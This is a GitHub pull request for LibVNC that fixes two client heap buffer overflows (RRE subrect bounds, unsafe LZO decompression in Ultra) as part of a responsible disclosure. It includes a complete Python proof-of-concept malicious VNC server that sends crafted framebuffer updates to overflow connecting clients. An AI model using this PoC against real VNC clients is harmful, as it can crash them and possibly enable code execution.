Skip to content

Fix two heap buffer overflows #137

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 2 commits into from
Nov 24, 2016
Merged

Fix two heap buffer overflows #137

merged 2 commits into from
Nov 24, 2016

Conversation

atx
Copy link
Contributor

@atx atx commented Nov 14, 2016

This PR fixes two unrelated buffer overflows, which can be used by a malicious server to overwrite parts of the heap and crash the client (or possibly execute arbitrary code).

PoC (for ./client_examples/gtkvncviewer):

#! /usr/bin/env python3

import asyncio
import struct
import lzo
import time

class EvilVNCProtocol(asyncio.Protocol):

    def connection_made(self, transport):
        self.transport = transport
        # Note that we just ignore whatever the client says
        self.transport.write(b"RFB 003.008\n")
        # Send supported security types (1 - None)
        self.transport.write(b"\x01\x01")
        # Confirm that authentication succeeded
        self.transport.write(b"\x00\x00\x00\x00")
        # Send ServerInit
        self.transport.write(
            struct.pack(">HHBBBBHHHBBBBBBIB",
                        100, 100, # Framebuffer width and height
                        32, # Bits per pixel
                        8, # Color depth
                        1, # Big endian
                        1, # True Color
                        255, 255, 255, # Color max values
                        0, 8, 16, # Color shifts
                        0, 0, 0, # Padding
                        1, # Name length
                        ord("E") # Name
            )
        )
        # For some reason, not waiting here led to the client occasionally
        # dropping the rest of the input buffer
        time.sleep(0.2)
        # Send evil FramebufferUpdate
        self.send_copyrect_crash()
        #self.send_ultra_lzo_crash()

    def send_copyrect_crash(self):
        self.transport.write(
            struct.pack(">BBHHHHHi",
                        0, 0, # message-type and padding
                        1, # number-of-rectangles
                        10, 0, # x and y positions
                        10, 10, # Width and height
                        2, # encoding = RRE
            )
        )
        self.transport.write(
            struct.pack(">IIIHHHH",
                        1, # nSubrects
                        0x41414141, # Background pixel value
                        0x42424242, # Rect pixel value
                        10, 10000, 1, 1 # x, y, w, h
            )
        )

    def send_ultra_lzo_crash(self):
        self.transport.write(
            struct.pack(">BBHHHHHi",
                        0, 0, # message-type and padding
                        1, # number-of-rectangles
                        10, 0, # x and y positions
                        10, 10, # Width and height
                        9, # encoding = Ultra
            )
        )
        data = lzo.compress(b"A" * 10000)
        self.transport.write(
            struct.pack(">I",
                        len(data)
            )
        )
        self.transport.write(data)

    def data_received(self, data):
        print(data)


loop = asyncio.get_event_loop()
coro = loop.create_server(EvilVNCProtocol, "0.0.0.0", 5900)
server = loop.run_until_complete(coro)

loop.run_forever()

atx added 2 commits November 14, 2016 12:51
Altough rfbproto.c does check whether the overall FramebufferUpdate rectangle is
too large, some of the individual encoding decoders do not, which allows a
malicious server to overwrite parts of the heap.
The Ultra type tile decoder does not use the _safe variant of the LZO
decompress function, which allows a maliciuous server to overwrite parts of the
heap by sending a larger-than-specified LZO data stream.
@bk138 bk138 added this to the Release 0.9.11 milestone Nov 18, 2016
@bk138
Copy link
Member

bk138 commented Nov 20, 2016

I cannot get the PoC to run on Debian. Do you know which package to install to get lzo for python3? The other way around, it finds lzo with python2, but then asyncio is not available :-/

@atx
Copy link
Contributor Author

atx commented Nov 20, 2016

I installed the python3 version directly from pip (https://pypi.python.org/pypi/python-lzo/1.08) (as it is not available in Gentoo repositories either).

@bk138 bk138 merged commit bfee346 into LibVNC:master Nov 24, 2016
@bk138
Copy link
Member

bk138 commented Nov 24, 2016

Tested && merged. Thanks a lot!

@atx
Copy link
Contributor Author

atx commented Dec 9, 2016

I have been told that it is a good practice to report things like this as CVEs. Do you plan to do that or should I? I see that there are already some libvncserver/libvcnclient CVEs on the list.

@bk138
Copy link
Member

bk138 commented Dec 9, 2016

If you could take care of that, I'd be very thankful indeed.

@atx
Copy link
Contributor Author

atx commented Dec 13, 2016

Do you plan on doing a release any time soon? It probably would be useful to have a new version the CVE can refer to as fixed.

@bk138
Copy link
Member

bk138 commented Dec 13, 2016 via email

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants